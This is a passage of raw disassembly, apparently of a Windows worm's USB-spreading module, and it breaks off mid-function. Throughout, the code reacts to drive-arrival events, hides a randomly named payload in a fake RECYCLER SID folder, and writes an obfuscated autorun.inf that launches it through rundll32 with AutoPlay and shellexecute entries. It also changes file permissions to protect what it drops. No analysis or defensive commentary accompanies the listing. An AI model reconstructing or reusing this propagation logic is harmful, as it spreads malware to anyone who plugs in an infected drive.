add dl, 41h
mov [ebp+Source], dl
call esi ; rand
test al, 1
jz short loc_9AA6C2
or [ebp+Source], 20h
loc_9AA6C2: ; CODE XREF: sub_9AA673+35j
; sub_9AA673+49j
lea eax, [ebp+Source]
push eax ; Source
push [ebp+Dest] ; Dest
mov [ebp+var_3], 0
call strcat
dec edi
pop ecx
pop ecx
jnz short loc_9AA68C
pop edi
loc_9AA6D8: ; CODE XREF: sub_9AA673+14j
pop esi
leave
retn
sub_9AA673 endp
; =============== S U B R O U T I N E =======================================
sub_9AA6DB proc near ; CODE XREF: sub_9AA7AA+55p
; sub_9AA7AA+A5p ...
push esi
push edi
mov edi, rand
mov esi, eax
call edi ; rand
push 0Ah
cdq
pop ecx
idiv ecx
test edx, edx
jz short loc_9AA768
push ebx
push ebp
mov ebp, edx
loc_9AA6F5: ; CODE XREF: sub_9AA6DB+89j
call edi ; rand
push 3
cdq
pop ecx
idiv ecx
sub edx, 0
jz short loc_9AA728
dec edx
jz short loc_9AA757
dec edx
jnz short loc_9AA763
call edi ; rand
push 1Eh
cdq
pop ecx
idiv ecx
test edx, edx
jz short loc_9AA75E
mov ebx, edx
loc_9AA716: ; CODE XREF: sub_9AA6DB+49j
push offset asc_9A4224 ; " "
push esi ; Dest
call strcat
dec ebx
pop ecx
pop ecx
jnz short loc_9AA716
jmp short loc_9AA75E
; ---------------------------------------------------------------------------
loc_9AA728: ; CODE XREF: sub_9AA6DB+25j
push offset asc_9A4234 ; ";"
push esi ; Dest
call strcat
push esi ; Dest
call sub_9AA5FC
add esp, 0Ch
call edi ; rand
push 4
cdq
pop ecx
idiv ecx
test edx, edx
jz short loc_9AA757
mov ebx, edx
loc_9AA74A: ; CODE XREF: sub_9AA6DB+7Aj
push 1 ; char
push esi ; Dest
call sub_9AA673
dec ebx
pop ecx
pop ecx
jnz short loc_9AA74A
loc_9AA757: ; CODE XREF: sub_9AA6DB+28j
; sub_9AA6DB+6Bj
push esi ; Dest
call sub_9AA5FC
pop ecx
loc_9AA75E: ; CODE XREF: sub_9AA6DB+37j
; sub_9AA6DB+4Bj
call sub_9AA640
loc_9AA763: ; CODE XREF: sub_9AA6DB+2Bj
dec ebp
jnz short loc_9AA6F5
pop ebp
pop ebx
loc_9AA768: ; CODE XREF: sub_9AA6DB+14j
pop edi
pop esi
retn
sub_9AA6DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AA76B(char *Dest)
sub_9AA76B proc near ; CODE XREF: sub_9AA85A+85p
; sub_9AA85A+149p ...
Source = byte ptr -4
var_3 = byte ptr -3
Dest = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, eax
jmp short loc_9AA7A2
; ---------------------------------------------------------------------------
loc_9AA774: ; CODE XREF: sub_9AA76B+3Aj
mov al, [esi]
cmp al, 61h
mov [ebp+Source], al
mov [ebp+var_3], 0
jl short loc_9AA793
cmp al, 7Ah
jg short loc_9AA793
call rand
test al, 1
jz short loc_9AA793
and [ebp+Source], 0DFh
loc_9AA793: ; CODE XREF: sub_9AA76B+14j
; sub_9AA76B+18j ...
lea eax, [ebp+Source]
push eax ; Source
push [ebp+Dest] ; Dest
call strcat
pop ecx
pop ecx
inc esi
loc_9AA7A2: ; CODE XREF: sub_9AA76B+7j
cmp byte ptr [esi], 0
jnz short loc_9AA774
pop esi
leave
retn
sub_9AA76B endp
; =============== S U B R O U T I N E =======================================
sub_9AA7AA proc near ; CODE XREF: sub_9AA85A+5Ep
; sub_9AA85A+239p
var_C = dword ptr -0Ch
push esi
mov esi, eax
push edi
push esi ; Dest
call sub_9AA5FC
mov [esp+0Ch+var_C], offset asc_9A4240 ; "["
push esi ; Dest
call strcat
push esi ; Dest
call sub_9AA5FC
push 0 ; char
push esi ; Dest
call sub_9AA673
mov edi, rand
add esp, 14h
call edi ; rand
push 3
cdq
pop ecx
idiv ecx
test edx, edx
jz short loc_9AA7F1
push offset asc_9A423C ; "]"
push esi ; Dest
call strcat
pop ecx
pop ecx
loc_9AA7F1: ; CODE XREF: sub_9AA7AA+38j
push esi ; Dest
call sub_9AA5FC
pop ecx
call sub_9AA640
mov eax, esi
call sub_9AA6DB
call edi ; rand
push 14h
cdq
pop ecx
idiv ecx
test edx, edx
jz short loc_9AA857
mov edi, edx
loc_9AA812: ; CODE XREF: sub_9AA7AA+ABj
push esi ; Dest
call sub_9AA5FC
push 0 ; char
push esi ; Dest
call sub_9AA673
push esi ; Dest
call sub_9AA5FC
push offset asc_9A4238 ; "="
push esi ; Dest
call strcat
push esi ; Dest
call sub_9AA5FC
push 0 ; char
push esi ; Dest
call sub_9AA673
push esi ; Dest
call sub_9AA5FC
add esp, 28h
call sub_9AA640
mov eax, esi
call sub_9AA6DB
dec edi
jnz short loc_9AA812
loc_9AA857: ; CODE XREF: sub_9AA7AA+64j
pop edi
pop esi
retn
sub_9AA7AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AA85A(char *Dest, int, char *Source, int)
sub_9AA85A proc near ; CODE XREF: sub_9AAAA0+55p
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
Memory = dword ptr -0Ch
Str1 = dword ptr -8
var_4 = dword ptr -4
Dest = dword ptr 8
arg_4 = dword ptr 0Ch
Source = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 38h
push ebx
mov eax, offset aShellexecute ; "shellexecute"
push esi
mov esi, [ebp+Dest]
push edi
mov ecx, offset aOpen ; "open"
mov edx, offset aAction ; "action"
mov [ebp+var_24], eax
mov edi, offset aIcon ; "icon"
mov [ebp+var_38], eax
mov [ebp+var_14], eax
mov eax, esi
mov [ebp+var_28], ecx
mov [ebp+var_20], edi
mov [ebp+var_1C], edx
mov [ebp+var_34], edi
mov [ebp+var_30], edx
mov [ebp+var_2C], offset aUseautoplay1 ; "useautoplay=1"
mov [ebp+var_18], ecx
call sub_9AA6DB
mov edi, rand
call edi ; rand
push 14h
cdq
pop ecx
idiv ecx
inc edx
jz short loc_9AA8C0
mov ebx, edx
loc_9AA8B6: ; CODE XREF: sub_9AA85A+64j
mov eax, esi
call sub_9AA7AA
dec ebx
jnz short loc_9AA8B6
loc_9AA8C0: ; CODE XREF: sub_9AA85A+58j
push esi ; Dest
call sub_9AA5FC
mov [esp+48h+var_48], offset asc_9A4240 ; "["
push esi ; Dest
call strcat
push esi ; Dest
call sub_9AA5FC
push esi ; Dest
mov eax, offset aAutorun ; "autorun"
call sub_9AA76B
add esp, 10h
call edi ; rand
test al, 1
jz short loc_9AA8FA
push offset asc_9A423C ; "]"
push esi ; Dest
call strcat
pop ecx
pop ecx
loc_9AA8FA: ; CODE XREF: sub_9AA85A+91j
push esi ; Dest
call sub_9AA5FC
pop ecx
call sub_9AA640
cmp [ebp+arg_C], 5
jnz short loc_9AA918
lea ebx, [ebp+var_28]
loc_9AA90F: ; CODE XREF: sub_9AA85A+C9j
mov [ebp+arg_C], 4
jmp short loc_9AA92B
; ---------------------------------------------------------------------------
loc_9AA918: ; CODE XREF: sub_9AA85A+B0j
push 2
pop eax
cmp [ebp+arg_C], eax
jnz short loc_9AA925
lea ebx, [ebp+var_38]
jmp short loc_9AA90F
; ---------------------------------------------------------------------------
loc_9AA925: ; CODE XREF: sub_9AA85A+C4j
lea ebx, [ebp+var_18]
mov [ebp+arg_C], eax
loc_9AA92B: ; CODE XREF: sub_9AA85A+BCj
mov eax, [ebp+arg_C]
test eax, eax
jle short loc_9AA95B
mov [ebp+var_4], eax
loc_9AA935: ; CODE XREF: sub_9AA85A+FCj
call edi ; rand
cdq
idiv [ebp+arg_C]
mov esi, edx
call edi ; rand
cdq
idiv [ebp+arg_C]
dec [ebp+var_4]
lea eax, [ebx+esi*4]
mov ecx, edx
mov edx, [eax]
lea ecx, [ebx+ecx*4]
mov esi, [ecx]
mov [eax], esi
mov [ecx], edx
jnz short loc_9AA935
mov esi, [ebp+Dest]
loc_9AA95B: ; CODE XREF: sub_9AA85A+D6j
mov eax, esi
call sub_9AA6DB
and [ebp+var_4], 0
cmp [ebp+arg_C], 0
jle loc_9AAA7D
loc_9AA970: ; CODE XREF: sub_9AA85A+21Dj
mov eax, [ebp+var_4]
mov eax, [ebx+eax*4]
push eax ; Src
mov [ebp+Str1], eax
call _strdup
push 3Dh ; Val
push eax ; Str
mov [ebp+Memory], eax
call strchr
add esp, 0Ch
test eax, eax
mov [ebp+var_10], eax
jz short loc_9AA999
mov byte ptr [eax], 0
loc_9AA999: ; CODE XREF: sub_9AA85A+13Aj
push esi ; Dest
call sub_9AA5FC
mov eax, [ebp+Memory]
push esi ; Dest
call sub_9AA76B
push esi ; Dest
call sub_9AA5FC
push offset asc_9A4238 ; "="
push esi ; Dest
call strcat
push esi ; Dest
call sub_9AA5FC
mov eax, [ebp+var_10]
add esp, 18h
test eax, eax
jz short loc_9AA9D3
inc eax
push esi ; Dest
call sub_9AA76B
loc_9AA9D0: ; CODE XREF: sub_9AA85A+1DAj
pop ecx
jmp short loc_9AAA51
; ---------------------------------------------------------------------------
loc_9AA9D3: ; CODE XREF: sub_9AA85A+16Dj
push offset aIcon ; "icon"
push [ebp+Str1] ; Str1
call strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_9AAA15
call edi ; rand
test al, 1
push esi ; Dest
mov eax, offset aSystemroot ; "%systemroot%"
jnz short loc_9AA9F7
mov eax, offset aWindir ; "%windir%"
loc_9AA9F7: ; CODE XREF: sub_9AA85A+196j
call sub_9AA76B
pop ecx
push esi ; Dest
mov eax, offset aSystem32Shell3 ; "\\system32\\shell32.dll"
call sub_9AA76B
push esi ; Dest
call sub_9AA5D4
push offset a4_0 ; ",4"
jmp short loc_9AAA48
; ---------------------------------------------------------------------------
loc_9AAA15: ; CODE XREF: sub_9AA85A+18Aj
push offset aAction ; "action"
push [ebp+Str1] ; Str1
call strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_9AAA36
push offset Buffer ; Source
push esi ; Dest
call strcat
pop ecx
jmp short loc_9AA9D0
; ---------------------------------------------------------------------------
loc_9AAA36: ; CODE XREF: sub_9AA85A+1CCj
mov eax, [ebp+arg_4]
push esi ; Dest
call sub_9AA76B
push esi ; Dest
call sub_9AA5D4
push [ebp+Source] ; Source
loc_9AAA48: ; CODE XREF: sub_9AA85A+1B9j
push esi ; Dest
call strcat
add esp, 10h
loc_9AAA51: ; CODE XREF: sub_9AA85A+177j
push esi ; Dest
call sub_9AA5D4
call sub_9AA640
mov eax, esi
call sub_9AA6DB
push [ebp+Memory] ; Memory
call free
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_C]
pop ecx
pop ecx
jl loc_9AA970
loc_9AAA7D: ; CODE XREF: sub_9AA85A+110j
mov eax, esi
call sub_9AA6DB
call edi ; rand
push 14h
cdq
pop ecx
idiv ecx
inc edx
jz short loc_9AAA9B
mov edi, edx
loc_9AAA91: ; CODE XREF: sub_9AA85A+23Fj
mov eax, esi
call sub_9AA7AA
dec edi
jnz short loc_9AAA91
loc_9AAA9B: ; CODE XREF: sub_9AA85A+233j
pop edi
pop esi
pop ebx
leave
retn
sub_9AA85A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AAAA0(LPCSTR lpFileName, char *Source, int)
sub_9AAAA0 proc near ; CODE XREF: sub_9AABA4+401p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
lpFileName = dword ptr 8
Source = dword ptr 0Ch
arg_8 = dword ptr 10h
push 10h
push offset stru_9A42C8
call __SEH_prolog
xor esi, esi
mov [ebp+var_1C], esi
mov [ebp+var_20], esi
mov [ebp+ms_exc.disabled], esi
push 40000h ; dwBytes
push 40h ; uFlags
mov edi, GlobalAlloc
call edi ; GlobalAlloc
mov ebx, eax
mov [ebp+var_1C], ebx
test ebx, ebx
jz loc_9AAB71
call rand
cdq
push 2
pop ecx
idiv ecx
test edx, edx
mov eax, offset aRundll32 ; "rundll32"
jnz short loc_9AAAED
mov eax, offset Srch
loc_9AAAED: ; CODE XREF: sub_9AAAA0+46j
push [ebp+arg_8] ; int
push [ebp+Source] ; Source
push eax ; int
push ebx ; Dest
call sub_9AA85A
push ebx ; Str
call strlen
add esp, 14h
lea eax, [eax+eax+4]
push eax ; dwBytes
push 40h ; uFlags
call edi ; GlobalAlloc
mov esi, eax
mov [ebp+var_20], esi
test esi, esi
jz short loc_9AAB71
mov word ptr [esi], 0FEFFh
push ebx ; Str
call strlen
pop ecx
inc eax
push eax ; cchWideChar
lea eax, [esi+2]
push eax ; lpWideCharStr
push 0FFFFFFFFh ; cbMultiByte
push ebx ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
call MultiByteToWideChar
test eax, eax
jz short loc_9AAB71
push 1F01FFh ; int
push [ebp+lpFileName] ; lpFileName
call sub_9AC163
pop ecx
pop ecx
push [ebp+lpFileName] ; lpFileName
push esi ; Str
call wcslen
pop ecx
shl eax, 1
push eax ; nNumberOfBytesToWrite
push esi ; lpBuffer
call sub_9AB7F5
add esp, 0Ch
test eax, eax
jz short loc_9AAB71
push 120089h ; int
push [ebp+lpFileName] ; lpFileName
call sub_9AC163
pop ecx
pop ecx
loc_9AAB71: ; CODE XREF: sub_9AAAA0+2Dj
; sub_9AAAA0+73j ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
jmp short loc_9AAB88
; ---------------------------------------------------------------------------
loc_9AAB77: ; DATA XREF: .text:stru_9A42C8o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9AAB7B: ; DATA XREF: .text:stru_9A42C8o
mov esp, [ebp+ms_exc.old_esp]
or [ebp+ms_exc.disabled], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
mov esi, [ebp+var_20]
loc_9AAB88: ; CODE XREF: sub_9AAAA0+D5j
test esi, esi
jz short loc_9AAB93
push esi ; hMem
call GlobalFree
loc_9AAB93: ; CODE XREF: sub_9AAAA0+EAj
test ebx, ebx
jz short loc_9AAB9E
push ebx ; hMem
call GlobalFree
loc_9AAB9E: ; CODE XREF: sub_9AAAA0+F5j
call __SEH_epilog
retn
sub_9AAAA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; DWORD __stdcall sub_9AABA4(LPVOID)
sub_9AABA4 proc near ; CODE XREF: sub_9AB156+7Fp
; DATA XREF: sub_9AAFD8+8Bo
Source = byte ptr -7B0h
var_6AD = byte ptr -6ADh
FindFileData = _WIN32_FIND_DATAA ptr -6ACh
var_56C = byte ptr -56Ch
var_469 = byte ptr -469h
Dest = byte ptr -468h
var_365 = byte ptr -365h
PathName = byte ptr -364h
var_261 = byte ptr -261h
var_260 = byte ptr -260h
var_15D = byte ptr -15Dh
FileName = byte ptr -15Ch
var_59 = byte ptr -59h
var_58 = byte ptr -58h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_30 = dword ptr -30h
FileSystemFlags = dword ptr -2Ch
Str1 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
hMem = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 7A0h
push offset stru_9A4350
call __SEH_prolog
mov edi, [ebp+arg_0]
mov [ebp+hMem], edi
xor esi, esi
mov [ebp+ms_exc.disabled], esi
mov [ebp+var_40], esi
mov [ebp+FileSystemFlags], esi
call sub_9AC33A
push esi ; nFileSystemNameSize
push esi ; lpFileSystemNameBuffer
lea eax, [ebp+FileSystemFlags]
push eax ; lpFileSystemFlags
push esi ; lpMaximumComponentLength
push esi ; lpVolumeSerialNumber
push esi ; nVolumeNameSize
push esi ; lpVolumeNameBuffer
push dword ptr [edi+4] ; lpRootPathName
call GetVolumeInformationA
test eax, eax
jz loc_9AAFB6
test byte ptr [ebp+FileSystemFlags+2], 8
jnz loc_9AAFB6
push 80012F5h ; Seed
call srand
mov esi, rand
call esi ; rand
cdq
push 4
pop ecx
idiv ecx
add edx, 5
push edx
lea eax, [ebp+var_3C]
push eax
call sub_9AB647
add esp, 0Ch
loc_9AAC17: ; CODE XREF: sub_9AABA4+99j
call esi ; rand
cdq
push 3
pop ecx
idiv ecx
inc edx
push edx
lea eax, [ebp+Str1]
push eax
call sub_9AB647
push offset aDll_0 ; "dll"
lea eax, [ebp+Str1]
push eax ; Str1
call strcmp
add esp, 10h
test eax, eax
jz short loc_9AAC17
call esi ; rand
cdq
push 10h
pop ecx
idiv ecx
test edx, edx
jz loc_9AAD03
mov edi, 104h
push edi ; Count
push offset aRecycler ; "RECYCLER"
lea eax, [ebp+Dest]
push eax ; Dest
call strncpy
add esp, 0Ch
mov [ebp+var_365], 0
call esi ; rand
cdq
mov ebx, 2710h
mov ecx, ebx
idiv ecx
push edx
call esi ; rand
cdq
push 0Ah
pop ecx
idiv ecx
push edx
call esi ; rand
cdq
mov ecx, ebx
idiv ecx
push edx
call esi ; rand
cdq
mov ecx, ebx
idiv ecx
push edx
call esi ; rand
cdq
push 64h
pop ecx
idiv ecx
push edx
call esi ; rand
cdq
mov ecx, ebx
idiv ecx
push edx
call esi ; rand
cdq
mov ecx, ebx
idiv ecx
push edx
call esi ; rand
cdq
push 64h
pop ecx
idiv ecx
push edx
call esi ; rand
cdq
mov ecx, ebx
idiv ecx
push edx
call esi ; rand
cdq
idiv ebx
push edx
call esi ; rand
cdq
push 64h
pop ecx
idiv ecx
push edx
call esi ; rand
cdq
push 0Ah
pop ecx
idiv ecx
push edx
call esi ; rand
cdq
push 0Ah
pop ecx
idiv ecx
push edx
push offset aSDDDDDDDDDDDDD ; "S-%d-%d-%d-%d%d%d-%d%d%d-%d%d%d-%d"
push edi ; Count
lea eax, [ebp+var_260]
push eax ; Dest
mov ebx, _snprintf
call ebx ; _snprintf
add esp, 40h
mov [ebp+var_15D], 0
jmp short loc_9AAD41
; ---------------------------------------------------------------------------
loc_9AAD03: ; CODE XREF: sub_9AABA4+A5j
call esi ; rand
cdq
push 14h
pop ecx
idiv ecx
add edx, 5
push edx
lea eax, [ebp+Dest]
push eax
call sub_9AB647
call esi ; rand
cdq
push 1Eh
pop ecx
idiv ecx
add edx, 0Ah
push edx
lea eax, [ebp+var_260]
push eax
call sub_9AB647
add esp, 10h
mov edi, 104h
mov ebx, _snprintf
loc_9AAD41: ; CODE XREF: sub_9AABA4+15Dj
lea eax, [ebp+Str1]
push eax
lea eax, [ebp+var_3C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+Dest]
push eax
mov eax, [ebp+hMem]
push dword ptr [eax+4]
push offset aSSSS_S ; "%s%s\\%s\\%s.%s"
push edi ; Count
lea eax, [ebp+FileName]
push eax ; Dest
call ebx ; _snprintf
add esp, 20h
mov [ebp+var_59], 0
mov [ebp+var_20], 1
and [ebp+var_30], 0
lea eax, [ebp+FindFileData]
push eax ; lpFindFileData
lea eax, [ebp+FileName]
push eax ; lpFileName
call FindFirstFileA
mov [ebp+var_24], eax
cmp eax, 0FFFFFFFFh
jz short loc_9AADA1
push eax ; hFindFile
call FindClose
loc_9AADA1: ; CODE XREF: sub_9AABA4+1F4j
cmp [ebp+var_24], 0FFFFFFFFh
jz short loc_9AADB4
cmp [ebp+FindFileData.nFileSizeLow], 0
jnz loc_9AAED9
loc_9AADB4: ; CODE XREF: sub_9AABA4+201j
lea eax, [ebp+Dest]
push eax
mov eax, [ebp+hMem]
push dword ptr [eax+4]
push offset aSS_0 ; "%s%s"
push edi ; Count
lea eax, [ebp+PathName]
push eax ; Dest
call ebx ; _snprintf
mov [ebp+var_261], 0
push 1F01FFh ; int
lea eax, [ebp+PathName]
push eax ; lpFileName
call sub_9AC163
add esp, 1Ch
push 0 ; lpSecurityAttributes
lea eax, [ebp+PathName]
push eax ; lpPathName
call CreateDirectoryA
mov [ebp+var_20], eax
test eax, eax
jnz short loc_9AAE12
call GetLastError
cmp eax, 0B7h
jnz loc_9AAED9
loc_9AAE12: ; CODE XREF: sub_9AABA4+25Bj
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+PathName]
push eax
push offset aSS_1 ; "%s\\%s"
push edi ; Count
lea eax, [ebp+var_56C]
push eax ; Dest
call ebx ; _snprintf
mov [ebp+var_469], 0
push 1F01FFh ; int
lea eax, [ebp+var_56C]
push eax ; lpFileName
call sub_9AC163
add esp, 1Ch
push 0 ; lpSecurityAttributes
lea eax, [ebp+var_56C]
push eax ; lpPathName
call CreateDirectoryA
mov [ebp+var_20], eax
test eax, eax
jnz short loc_9AAE6D
call GetLastError
cmp eax, 0B7h
jnz short loc_9AAEC9
loc_9AAE6D: ; CODE XREF: sub_9AABA4+2BAj
push 1F01FFh ; int
lea eax, [ebp+FileName]
push eax ; lpFileName
call sub_9AC163
lea eax, [ebp+FileName]
push eax ; lpFileName
push ds:nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push ds:lpBuffer ; lpBuffer
call sub_9AB7F5
add esp, 14h
mov [ebp+var_20], eax
test eax, eax
jz short loc_9AAEC9
push 1200A9h ; int
lea eax, [ebp+FileName]
push eax ; lpFileName
call sub_9AC163
push 21h ; int
lea eax, [ebp+var_56C]
push eax ; lpFileName
call sub_9AC163
add esp, 10h
mov [ebp+var_30], 1
loc_9AAEC9: ; CODE XREF: sub_9AABA4+2C7j
; sub_9AABA4+2FAj
push 0 ; int
lea eax, [ebp+PathName]
push eax ; lpFileName
call sub_9AC132
pop ecx
pop ecx
loc_9AAED9: ; CODE XREF: sub_9AABA4+20Aj
; sub_9AABA4+268j
cmp [ebp+var_20], 0
jz loc_9AAFB6
mov eax, [ebp+hMem]
push dword ptr [eax+4]
push offset aSautorun_inf ; "%sautorun.inf"
push edi ; Count
lea eax, [ebp+FileName]
push eax ; Dest
call ebx ; _snprintf
add esp, 10h
mov [ebp+var_59], 0
lea eax, [ebp+FindFileData]
push eax ; lpFindFileData
lea eax, [ebp+FileName]
push eax ; lpFileName
call FindFirstFileA
mov [ebp+var_24], eax
cmp eax, 0FFFFFFFFh
jz short loc_9AAF22
push eax ; hFindFile
call FindClose
loc_9AAF22: ; CODE XREF: sub_9AABA4+375j
cmp [ebp+var_24], 0FFFFFFFFh
jz short loc_9AAF3A
cmp [ebp+FindFileData.nFileSizeLow], 1000h
jb short loc_9AAF3A
cmp [ebp+var_30], 0
jz short loc_9AAFB6
loc_9AAF3A: ; CODE XREF: sub_9AABA4+382j
; sub_9AABA4+38Ej ...
call esi ; rand
cdq
push 14h
pop ecx
idiv ecx
inc edx
push edx
lea eax, [ebp+var_58]
push eax
call sub_9AB647
push offset aMarnwkcw ; "marnwkcw"
lea eax, [ebp+var_58]
push eax ; Str1
call strcmp
add esp, 10h
test eax, eax
jz short loc_9AAF3A
lea eax, [ebp+var_58]
push eax
lea eax, [ebp+Str1]
push eax
lea eax, [ebp+var_3C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+Dest]
push eax
push offset a_SSS_SS ; ".\\%s\\%s\\%s.%s,%s"
push edi ; Count
lea eax, [ebp+Source]
push eax ; Dest
call ebx ; _snprintf
mov [ebp+var_6AD], 0
mov eax, [ebp+hMem]
push dword ptr [eax] ; int
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+FileName]
push eax ; lpFileName
call sub_9AAAA0
add esp, 2Ch
jmp short loc_9AAFB6
; ---------------------------------------------------------------------------
loc_9AAFAF: ; DATA XREF: .text:stru_9A4350o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9AAFB3: ; DATA XREF: .text:stru_9A4350o
mov esp, [ebp+ms_exc.old_esp]
loc_9AAFB6: ; CODE XREF: sub_9AABA4+3Aj
; sub_9AABA4+44j ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
mov esi, [ebp+hMem]
push dword ptr [esi+4] ; Memory
call free
pop ecx
push esi ; hMem
call GlobalFree
xor eax, eax
call __SEH_epilog
retn 4
sub_9AABA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AAFD8(const CHAR Src)
sub_9AAFD8 proc near ; CODE XREF: sub_9AB07D+12p
ThreadId = dword ptr -4
Src = byte ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+Src], 8000h
jnz locret_9AB07B
cmp dword ptr [eax+4], 2
jnz locret_9AB07B
mov ecx, [eax+0Ch]
xor al, al
loc_9AAFF8: ; CODE XREF: sub_9AAFD8+2Bj
test cl, 1
jnz short loc_9AB005
shr ecx, 1
inc al
cmp al, 1Ah
jl short loc_9AAFF8
loc_9AB005: ; CODE XREF: sub_9AAFD8+23j
cmp al, 1
jle short locret_9AB07B
add al, 41h
mov [ebp+Src], al
push edi
lea eax, [ebp+Src]
push eax ; lpRootPathName
mov byte ptr [ebp+9], 3Ah
mov byte ptr [ebp+0Ah], 5Ch
mov byte ptr [ebp+0Bh], 0
call GetDriveTypeA
mov edi, eax
cmp edi, 2
jz short loc_9AB03B
cmp edi, 3
jz short loc_9AB03B
cmp edi, 4
jz short loc_9AB03B
cmp edi, 5
jnz short loc_9AB07A
loc_9AB03B: ; CODE XREF: sub_9AAFD8+52j
; sub_9AAFD8+57j ...
push esi
push 8 ; dwBytes
push 40h ; uFlags
call GlobalAlloc
mov esi, eax
test esi, esi
jz short loc_9AB079
lea eax, [ebp+Src]
push eax ; Src
mov [esi], edi
call _strdup
pop ecx
mov [esi+4], eax
lea eax, [ebp+ThreadId]
push eax ; lpThreadId
push 0 ; dwCreationFlags
push esi ; lpParameter
push offset sub_9AABA4 ; lpStartAddress
push 0 ; dwStackSize
push 0 ; lpThreadAttributes
call CreateThread
push eax ; hObject
call CloseHandle
loc_9AB079: ; CODE XREF: sub_9AAFD8+72j
pop esi
loc_9AB07A: ; CODE XREF: sub_9AAFD8+61j
pop edi
locret_9AB07B: ; CODE XREF: sub_9AAFD8+Bj
; sub_9AAFD8+15j ...
leave
retn
sub_9AAFD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_9AB07D(int, int, CHAR Src, int)
sub_9AB07D proc near ; DATA XREF: sub_9AB0A3+1Eo
arg_4 = dword ptr 0Ch
Src = byte ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 219h
jnz short loc_9AB09C
push dword ptr [ebp+Src] ; Src
mov eax, [ebp+arg_C]
call sub_9AAFD8
xor eax, eax
pop ecx
inc eax
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_9AB09C: ; CODE XREF: sub_9AB07D+Aj
pop ebp
jmp DefWindowProcA
sub_9AB07D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; DWORD __stdcall sub_9AB0A3(LPVOID)
sub_9AB0A3 proc near ; DATA XREF: sub_9AB2C3+6Fo
Dst = byte ptr -58h
var_54 = dword ptr -54h
hInstance = dword ptr -48h
var_34 = dword ptr -34h
Msg = MSG ptr -30h
ClassName = byte ptr -14h
push ebp
mov ebp, esp
sub esp, 58h
push esi
call sub_9AB510
push 28h ; Size
xor esi, esi
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call memset
add esp, 0Ch
push esi ; lpModuleName
mov [ebp+var_54], offset sub_9AB07D
call GetModuleHandleA
mov [ebp+hInstance], eax
call rand
push 0Ah
pop ecx
cdq
idiv ecx
lea eax, [ebp+ClassName]
add edx, ecx
push edx
push eax
call sub_9AB647
pop ecx
lea eax, [ebp+ClassName]
mov [ebp+var_34], eax
pop ecx
lea eax, [ebp+Dst]
push eax ; lpWndClass
call RegisterClassA
push esi ; lpParam
push [ebp+hInstance] ; hInstance
mov eax, 80000000h
push esi ; hMenu
push esi ; hWndParent
push eax ; nHeight
push eax ; nWidth
push eax ; Y
push eax ; X
push esi ; dwStyle
push offset Password ; lpWindowName
lea eax, [ebp+ClassName]
push eax ; lpClassName
push esi ; dwExStyle
call CreateWindowExA
test eax, eax
jz short loc_9AB14F
push edi
mov edi, GetMessageA
jmp short loc_9AB141
; ---------------------------------------------------------------------------
loc_9AB128: ; CODE XREF: sub_9AB0A3+A9j
cmp eax, 0FFFFFFFFh
jz short loc_9AB14E
lea eax, [ebp+Msg]
push eax ; lpMsg
call TranslateMessage
lea eax, [ebp+Msg]
push eax ; lpMsg
call DispatchMessageA
loc_9AB141: ; CODE XREF: sub_9AB0A3+83j
push esi ; wMsgFilterMax
push esi ; wMsgFilterMin
lea eax, [ebp+Msg]
push esi ; hWnd
push eax ; lpMsg
call edi ; GetMessageA
cmp eax, esi
jnz short loc_9AB128
loc_9AB14E: ; CODE XREF: sub_9AB0A3+88j
pop edi
loc_9AB14F: ; CODE XREF: sub_9AB0A3+7Aj
xor eax, eax
pop esi
leave
retn 4
sub_9AB0A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; DWORD __stdcall sub_9AB156(LPVOID)
sub_9AB156 proc near ; DATA XREF: sub_9AB2C3+57o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Src = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_1 = byte ptr -1
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov edi, Sleep
mov ebx, 1388h
push ebx ; dwMilliseconds
call edi ; Sleep
call GetLogicalDrives
mov [ebp+var_C], eax
mov [ebp+var_1], 0
loc_9AB17A: ; CODE XREF: sub_9AB156+91j
test byte ptr [ebp+var_C], 1
